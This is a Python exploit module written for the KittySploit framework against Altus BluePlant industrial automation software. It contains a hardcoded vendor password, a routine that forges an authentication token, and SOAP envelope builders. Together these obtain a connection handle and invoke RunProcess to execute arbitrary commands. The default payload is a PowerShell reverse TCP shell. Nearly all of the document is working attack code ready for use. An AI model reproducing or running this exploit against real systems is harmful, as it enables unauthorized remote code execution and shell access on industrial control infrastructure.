Altus BluePlant hardcoded Connect bypass RunProcess RCE

"""Altus BluePlant Hardcoded Credentials RCE"""
from __future__ import annotations
from kittysploit import *
from lib.protocols.http.http_client import Http_client
import base64
import os
import re
import ssl
import struct
import subprocess
import sys
import urllib.error
import urllib.request
import uuid
import time
import sys
import os
import struct
import base64
import uuid
import re
import ssl
import subprocess
import urllib.request
import urllib.error

class Module(Exploit, Http_client):
    __info__ = {'name': 'Altus BluePlant hardcoded Connect bypass RunProcess RCE', 'description': 'Forge Connect pass via ForgePass.exe (vendor TCryptoStream), acquire connectionHandle with user getserviceinfo, then SendRequest RunProcess.', 'author': ['KittySploit Team'], 'platform': Platform.WINDOWS, 'arch': [Arch.CMD], 'payload': {'default': 'payloads/singles/cmd/windows/powershell_reverse_tcp', 'platform': Platform.WINDOWS, 'category': PayloadCategory.CMD}, 'references': [], 'tags': ['altus', 'blueplant', 'rce', 'soap'], 'agent': {'risk': 'critical', 'effects': ['active_exploitation', 'remote_code_execution'], 'expected_requests': 3, 'reversible': False, 'approval_required': True, 'produces': ['rce', 'shell'], 'chain': {'suggested_followups': ['scanner/http/altus_blueplant_rce_detect']}}}
    DEFAULT_PLAIN_PASS = '!uijdHjK&%DsHf%4eAr'
    CONTRACT_NS = 'http://tempuri.org/'
    WSA_NS = 'http://www.w3.org/2005/08/addressing'
    port = OptPort(80, 'BluePlant HTTP port', required=True)
    ssl = OptBool(False, 'Use HTTPS', required=False)
    service_endpoint = OptString('/TProjectServer/service.svc', 'WCF service path', required=False)
    forge_helper = OptString('', 'Path to ForgePass.exe (default: beside this module)', required=False)

    def forge_pass(self, plaintext, forge_helper=None):
        """Invoke ForgePass.exe to produce the hex output of EncryptText(null, plaintext)."""
        if forge_helper is None:
            script_dir = os.path.dirname(os.path.abspath(__file__))
            forge_helper = os.path.join(script_dir, 'ForgePass.exe')
        if not os.path.isfile(forge_helper):
            raise FileNotFoundError('ForgePass.exe not found at ' + forge_helper + '. Compile ForgePass.cs (see analysis.md) or pass --forge-helper PATH.')
        proc = subprocess.run([forge_helper, plaintext], capture_output=True, timeout=30)
        if proc.returncode != 0:
            msg = proc.stderr.decode('utf-8', errors='replace').strip() or 'exit=' + str(proc.returncode)
            raise RuntimeError('ForgePass.exe failed: ' + msg)
        out = proc.stdout.decode('utf-8', errors='replace').strip()
        if not out:
            raise RuntimeError('ForgePass.exe produced empty output')
        return out

    def seven_bit_int(self, n):
        out = bytearray()
        v = n
        while v >= 128:
            out.append(v & 127 | 128)
            v >>= 7
        out.append(v & 127)
        return bytes(out)

    def dotnet_binarywriter_string_utf16(self, text):
        """ .NET BinaryWriter.Write(string) UTF-16LE: 7-bit-encoded BYTE length + UTF-16LE bytes.
    Note: .NET BinaryWriter encodes the byte count of the UTF-16LE payload, not the char count. """
        text_bytes = text.encode('utf-16-le')
        return self.seven_bit_int(len(text_bytes)) + text_bytes

    def serialize_string_param(self, value):
        """Serializer.WriteObject for System.String, useBinSerializer=false."""
        head = bytes([1, 0]) + self.dotnet_binarywriter_string_utf16('System.String')
        dcs = '<string xmlns="http://schemas.microsoft.com/2003/10/Serialization/">' + value.replace('&', '&amp;').replace('<', '&lt;').replace('>', '&gt;') + '</string>'
        return head + dcs.encode('utf-8')

    def create_bytes_to_send(self, method_name, params):
        """Reproduce RemoteMethod.CreateBytesToSend(useBinSerializer=false, methodName, params, null, false)."""
        buf = bytearray()
        buf.append(1)
        buf.append(0)
        buf.extend(self.dotnet_binarywriter_string_utf16(method_name))
        buf.extend(struct.pack('<i', len(params)))
        for p in params:
            obj_bytes = self.serialize_string_param(p)
            buf.extend(struct.pack('<i', len(obj_bytes)))
            buf.extend(obj_bytes)
        return bytes(buf)

    def _xml_escape(self, s):
        return s.replace('&', '&amp;').replace('<', '&lt;').replace('>', '&gt;')

    def _soap_header(self, action, msg_id):
        return '<s:Header><a:Action s:mustUnderstand="1">' + action + '</a:Action><a:MessageID>urn:uuid:' + msg_id + '</a:MessageID><a:ReplyTo><a:Address>' + self.WSA_NS + '/anonymous</a:Address></a:ReplyTo><a:To>' + self.CONTRACT_NS + 'TProjectServer/service.svc</a:To></s:Header>'

    def build_connect_envelope(self, forged_pass, msg_id):
        action = self.CONTRACT_NS + 'IContract/Connect'
        envelope = '<?xml version="1.0" encoding="utf-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="' + self.WSA_NS + '" xmlns:tem="' + self.CONTRACT_NS + '">' + self._soap_header(action, msg_id) + '<s:Body><Connect xmlns="' + self.CONTRACT_NS + '"><clientVersion>2</clientVersion><serviceName>fileserver</serviceName><extraServiceInfo></extraServiceInfo><project></project><parentGuid>00000000-0000-0000-0000-000000000000</parentGuid><user>getserviceinfo</user><pass>' + self._xml_escape(forged_pass) + '</pass><uid></uid></Connect></s:Body></s:Envelope>'
        return (envelope, action)

    def build_sendrequest_envelope(self, connection_handle, data_bytes, msg_id):
        action = self.CONTRACT_NS + 'IContract/SendRequest'
        data_b64 = base64.b64encode(data_bytes).decode('ascii')
        envelope = '<?xml version="1.0" encoding="utf-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="' + self.WSA_NS + '" xmlns:tem="' + self.CONTRACT_NS + '">' + self._soap_header(action, msg_id) + '<s:Body><SendRequest xmlns="' + self.CONTRACT_NS + '"><connectionHandle>' + connection_handle + '</connectionHandle><data>' + data_b64 + '</data><hasMoreData>false</hasMoreData><dataIsCompressed>false</dataIsCompressed></SendRequest></s:Body></s:Envelope>'
        return (envelope, action)

    def build_getresponse_envelope(self, connection_handle, msg_id):
        action = self.CONTRACT_NS + 'IContract/GetResponse'
        envelope = '<?xml version="1.0" encoding="utf-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="' + self.WSA_NS + '" xmlns:tem="' + self.CONTRACT_NS + '">' + self._soap_header(action, msg_id) + '<s:Body><GetResponse xmlns="' + self.CONTRACT_NS + '"><connectionHandle>' + connection_handle + '</connectionHandle></GetResponse></s:Body></s:Envelope>'
        return (envelope, action)

    def _extract_connection_handle(self, xml):
        m = re.search('<a:connectionHandle>([^<]+)</a:connectionHandle>', xml)
        if m:
            return m.group(1).strip()
        m = re.search('<connectionHandle[^>]*>([^<]+)</connectionHandle>', xml)
        if m:
            return m.group(1).strip()
        return None

    def _extract_error_code(self, xml):
        m = re.search('<a:ErrorCode>(\\d+)</a:ErrorCode>', xml)
        if m:
            return int(m.group(1))
        m = re.search('<ErrorCode[^>]*>(\\d+)</ErrorCode>', xml)
        if m:
            return int(m.group(1))
        return None

    def soap_call(self, target, endpoint, envelope, action, timeout=30):
        """Send a SOAP 1.2 request, return (status, response_body)."""
        url = 'http://' + target + endpoint
        data = envelope.encode('utf-8')
        req = urllib.request.Request(url, data=data, method='POST')
        req.add_header('Content-Type', 'application/soap+xml; charset=utf-8; action="' + action + '"')
        req.add_header('SOAPAction', '"' + action + '"')
        req.add_header('User-Agent', 'BluePlantExploit/1.0')
        try:
            ctx = ssl.create_default_context()
            ctx.check_hostname = False
            ctx.verify_mode = ssl.CERT_NONE
            resp = urllib.request.urlopen(req, timeout=timeout, context=ctx)
            return (resp.status, resp.read().decode('utf-8', errors='replace'))
        except urllib.error.HTTPError as e:
            body = ''
            try:
                body = e.read().decode('utf-8', errors='replace')
            except Exception:
                pass
            return (e.code, body)
        except Exception as e:
            return (-1, 'EXC: ' + str(e))

    def exploit(self, target, rce_cmd, endpoint='/TProjectServer/service.svc', forge_helper=None):
        print('[*] Target   : http://' + target + endpoint)
        print('[*] RCE cmd  : ' + rce_cmd)
        print("[*] Forging pass via TCryptoStream.EncryptText(null, '" + self.DEFAULT_PLAIN_PASS + "')")
        try:
            forged_pass = self.forge_pass(self.DEFAULT_PLAIN_PASS, forge_helper)
        except Exception as e:
            print('[!] Forge failed: ' + str(e))
            return 3
        print('[+] Forged pass (hex, len=' + str(len(forged_pass)) + '): ' + forged_pass[:64] + '...')
        msg_id = str(uuid.uuid4())
        env, action = self.build_connect_envelope(forged_pass, msg_id)
        print('[*] Calling Connect(user=getserviceinfo, pass=forged, serviceName=fileserver)...')
        status, body = self.soap_call(target, endpoint, env, action)
        if status != 200:
            print('[!] Connect HTTP ' + str(status))
            print('    body: ' + body[:500])
            return 5
        err = self._extract_error_code(body)
        handle = self._extract_connection_handle(body)
        print('[+] Connect HTTP 200, ErrorCode=' + str(err) + ', connectionHandle=' + str(handle))
        if not handle or handle == '00000000-0000-0000-0000-000000000000':
            print('[!] Connect did not return a valid connection handle (bypass may have failed)')
            print('    body: ' + body[:800])
            return 4
        print('[+] Connect bypass SUCCESS - connectionHandle acquired')
        sp = rce_cmd.find(' ')
        proc_path = rce_cmd[:sp] if sp > 0 else rce_cmd
        proc_args = rce_cmd[sp + 1:] if sp > 0 else ''
        print("[*] RunProcess path='" + proc_path + "' args='" + proc_args + "'")
        payload = self.create_bytes_to_send('RunProcess', [proc_path, proc_args])
        print('[+] Built SendRequest payload (' + str(len(payload)) + ' bytes)')
        msg_id = str(uuid.uuid4())
        env, action = self.build_sendrequest_envelope(handle, payload, msg_id)
        print('[*] Calling SendRequest...')
        status, body = self.soap_call(target, endpoint, env, action)
        print('[+] SendRequest HTTP ' + str(status))
        if status != 200:
            print('    body: ' + body[:500])
            return 5
        msg_id = str(uuid.uuid4())
        env, action = self.build_getresponse_envelope(handle, msg_id)
        print('[*] Calling GetResponse...')
        status, body = self.soap_call(target, endpoint, env, action)
        print('[+] GetResponse HTTP ' + str(status))
        err = self._extract_error_code(body)
        print('[+] GetResponse ErrorCode=' + str(err))
        print('[*] Done. Verify command execution on target (e.g. marker file).')
        return 0

    def _forge_helper_path(self) -> str:
        custom = str(self.forge_helper or '').strip()
        if custom:
            return custom
        return os.path.join(os.path.dirname(os.path.abspath(__file__)), 'ForgePass.exe')

    def _soap_call(self, endpoint: str, envelope: str, action: str) -> tuple[int, str]:
        path = endpoint if endpoint.startswith('/') else '/' + endpoint
        resp = self.http_request('POST', path, data=envelope.encode('utf-8'), headers={'Content-Type': 'application/soap+xml; charset=utf-8; action="' + action + '"', 'SOAPAction': '"' + action + '"', 'User-Agent': 'BluePlantExploit/1.0'})
        if not resp:
            return (-1, 'SOAP request failed')
        return (int(resp.status_code or 0), resp.text or '')

    def execute(self, shell: str) -> str:
        helper = self._forge_helper_path()
        try:
            forged_pass = self.forge_pass(self.DEFAULT_PLAIN_PASS, helper)
        except Exception as exc:
            return f'ForgePass failed ({helper}): {exc}'
        endpoint = str(self.service_endpoint or '/TProjectServer/service.svc')
        msg_id = str(uuid.uuid4())
        env, action = self.build_connect_envelope(forged_pass, msg_id)
        status, body = self._soap_call(endpoint, env, action)
        if status != 200:
            return f'Connect HTTP {status}: {body[:300]!r}'
        handle = self._extract_connection_handle(body)
        err = self._extract_error_code(body)
        if not handle or handle == '00000000-0000-0000-0000-000000000000':
            return f'Connect no handle (ErrorCode={err}): {body[:400]!r}'
        sp = shell.find(' ')
        proc_path = shell[:sp] if sp > 0 else shell
        proc_args = shell[sp + 1:] if sp > 0 else ''
        payload = self.create_bytes_to_send('RunProcess', [proc_path, proc_args])
        msg_id = str(uuid.uuid4())
        env, action = self.build_sendrequest_envelope(handle, payload, msg_id)
        status, body = self._soap_call(endpoint, env, action)
        if status != 200:
            return f'SendRequest HTTP {status}: {body[:300]!r}'
        msg_id = str(uuid.uuid4())
        env, action = self.build_getresponse_envelope(handle, msg_id)
        status, body = self._soap_call(endpoint, env, action)
        err = self._extract_error_code(body)
        return f'RunProcess chain HTTP {status}, GetResponse ErrorCode={err}; verify handler'

    def check(self):
        endpoint = str(self.service_endpoint or '/TProjectServer/service.svc')
        if not endpoint.startswith('/'):
            endpoint = '/' + endpoint
        resp = self.http_request('GET', endpoint)
        if resp and int(resp.status_code or 0) < 500:
            return {'vulnerable': True, 'reason': 'TProjectServer endpoint reachable', 'confidence': 'low'}
        return {'vulnerable': False, 'reason': 'BluePlant service not reachable', 'confidence': 'low'}

    def run(self):
        shell = self.shell_from_payload()
        if not shell:
            print_error('Set payload')
            return False
        if not os.path.isfile(self._forge_helper_path()):
            print_error('ForgePass.exe missing — compile ForgePass.cs or set forge_helper')
            return False
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason', 'Target not ready'))
            self.not_vulnerable()
            return False
        print_status('Connect bypass → RunProcess SOAP')
        print_info(self.execute(shell))
        self.vulnerable()
        return True